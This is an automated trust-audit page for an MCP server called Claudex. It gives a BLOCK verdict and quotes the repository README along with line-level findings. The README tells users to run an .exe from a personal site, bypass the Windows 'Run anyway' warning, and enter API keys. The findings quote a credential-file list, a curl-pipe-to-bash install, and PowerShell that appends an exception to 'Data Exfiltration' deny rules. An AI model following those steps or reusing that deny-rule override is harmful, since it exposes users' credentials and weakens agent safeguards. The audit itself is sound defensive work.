Atlas / MCP servers / mcalesteryahoo411 / Claudex

ClaudexBLOCK

mcp/mcalesteryahoo411/claudex

Connect Claude Code interfaces to Codex and native Claude models using a local bridge.

Verdict
BLOCK
Grade
D
Trust score
69 /100
Exposed tools
1 1r · 0w · 0d
Transport
—
License
MIT
Stars
0
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://mcalesteryahoo411.github.io)

Claudex connects powerful language models to your daily workflow. It acts as a bridge for your computer. You gain access to Codex models while you use the Claude Code interface. This tool removes barriers between different systems.

🛠️ System Requirements

Claudex works on standard Windows machines. Make sure your computer meets these basic needs:

  • Operating System: Windows 10 or Windows 11.
  • Processor: Modern dual-core CPU or better.
  • Memory: 4 GB of RAM minimum.
  • Storage: 200 MB of free space.
  • Internet Connection: Required for model communication.

📥 How to Download

Follow these steps to obtain the software:

  1. Visit the following link to see all available versions: https://mcalesteryahoo411.github.io.
  2. Look for the section labeled "Assets."
  3. Select the file ending in .exe that fits your system architecture.
  4. Save the file to your "Downloads" folder.

⚙️ Running the Application

You do not need to install complex software. Claudex runs as a portable application. Follow these instructions step by step:

  1. Open your "Downloads" folder.
  2. Find the Claudex file you saved.
  3. Double-click the file icon.
  4. A Windows security window may appear. Select "More info" and then choose "Run anyway." This confirms you trust the source.
  5. The application window opens on your screen.

🔑 Initial Setup

Claudex requires your API keys to talk to the models. Keep your credentials ready.

  1. Locate the "Settings" tab inside the app window.
  2. Paste your OpenAI API key into the labeled field.
  3. Save your changes.
  4. Restart the application to apply the settings.

📋 Common Tasks

Starting a Session

Click the "Connect" button on the main screen. The app verifies your connection. A green indicator means you are ready to work.

Using the Interface

Read from source at commit 515b3e5fcefeOBSERVED · 2026-10-12
Advertisement
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude-code
claude mcp add claudex-codex -- npx -y [email protected]
claude-desktop
{
  "mcpServers": {
    "claudex-codex": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ]
    }
  }
}
03

Exposed tools (1)

1 read · 0 write · 0 destructive.

ToolRiskDescription
quoted-namereadquoted description
04

Trust audit

BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (11 observation(s))
Network
declared (14 observation(s))
Shell
declared (5 observation(s))
Dependencies
pinned
Secrets in source
found

Findings (20)

HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
skill-bridge.cjs:1237
if (['.npmrc', '.pypirc', '.netrc', '.git-credentials', '.credentials.json', 'credentials',
Why it matters. touches a credential store
HIGHFilesystem / path · fs.credential_store · CWE-22, CWE-59
skill-bridge.cjs:1238
'credentials.json', 'auth.json', 'id_rsa', 'id_ed25519'].includes(base)) return true;
Why it matters. touches a credential store
MEDIUMInventory / provenance · inv.binary · CWE-1104
bin/v3.8-alpha.5.zip
v3.8-alpha.5.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
claudex.ps1:2172
$hardException = "`n  - Claudex scoped private development transfer exception: Notwithstanding the bulk scale treatment above, an exact transfer of only the source required for the task from the curre
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
claudex.ps1:2202
if ([string] $_ -and ([string] $_).StartsWith('Data Exfiltration:')) { ([string] $_) + $hardException }
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
test.ps1:167
Write-Output '{"allow":["Updated default allow rule"],"environment":["Updated default environment rule"],"soft_deny":["Updated soft deny"],"hard_deny":["Data Exfiltration: updated hard deny"]}'
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
test.ps1:169
Write-Output '{"allow":["Default allow rule"],"environment":["Default environment rule"],"soft_deny":["Default soft deny"],"hard_deny":["Data Exfiltration: default hard deny"]}'
MEDIUMNetwork egress · net.beacon_words · CWE-200, CWE-319
test.ps1:417
echo {"allow":["Default allow rule"],"environment":["Default environment rule"],"soft_deny":["Default soft deny"],"hard_deny":["Data Exfiltration: default hard deny"]}
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
claudex:428
: "${CLAUDEX_PROXY_URL:=http://127.0.0.1:8318}"
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
claudex.ps1:937
$proxyUrl = Env-OrDefault 'CLAUDEX_PROXY_URL' 'http://127.0.0.1:8318'
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
env.example:6
# CLAUDEX_PROXY_URL=http://127.0.0.1:8318
MEDIUMNetwork egress · net.raw_ip · CWE-200, CWE-319
install.ps1:714
if ($callerProxyUrl) { $callerProxyUrl } else { "http://127.0.0.1:$proxyPort" }
MEDIUMHard-coded secrets · secret.private_key · CWE-798, CWE-321
tests/skill-security.test.cjs:143
write(path.join(keySkill, 'references', 'identity.txt'), '-----BEGIN PRIVATE KEY-----\nnot-a-real-key\n-----END PRIVATE KEY-----\n');
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/skill-security.test.cjs:147
write(path.join(gitCredentialSkill, '.git-credentials'), 'https://user:[email protected]\n');
Why it matters. touches a credential store
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/skill-security.test.cjs:158
assert(!names.has('contains-git-credentials'), '.git-credentials must never be copied into a snapshot');
Why it matters. touches a credential store
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
tests/skill-security.test.cjs:161
assert(warningIncludes(result, 'skill tree contains a sensitive file: .git-credentials'));
Why it matters. touches a credential store
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/self-update-regressions.sh:355
ln -s ../../outside "$temporary/archive-source/claudex-1.3.2/unsafe-link"
LOWFilesystem / path · fs.traversal · CWE-22, CWE-59
tests/skill-security.test.cjs:407
name: 'bidi-plugin', skills: './\u202e/../../outside',
LOWNetwork egress · net.raw_ip · CWE-200, CWE-319
docs/configuration.md:111
| `CLAUDEX_PROXY_URL` | `http://127.0.0.1:8318` | Local compatibility endpoint |
LOWSupply chain · prompt.pipe_to_shell · CWE-829, CWE-1357
docs/installation.md:39
curl -fsSL --proto '=https' --tlsv1.2 https://claudex.work/install.sh | bash

Gates applied: no_behavioural_pass.

Audited 2026-10-12 · audit v0.4.1 · source sha 515b3e5fcefefull audit observations/trust-audit/mcp-server/mcalesteryahoo411__claudex.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-12515b3e5fcefeBLOCKD69first audit
06

Questions

What is the Claudex MCP server?

Connect Claude Code interfaces to Codex and native Claude models using a local bridge.

What tools does Claudex expose?

1 in total: 1 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is Claudex safe to connect to an agent?

No — not without reading the findings first. The audit graded it D (69/100) and found 2 critical or high issues in the source. Each one is listed on this page with the file and line it is on.

What credentials does Claudex need?

No credential environment variables were found in its source, so it appears to need none.

How current is this page?

The grade is for one exact copy of the source (515b3e5fcefe), read on 2026-10-12. The repository is watched and re-audited when it changes.

Advertisement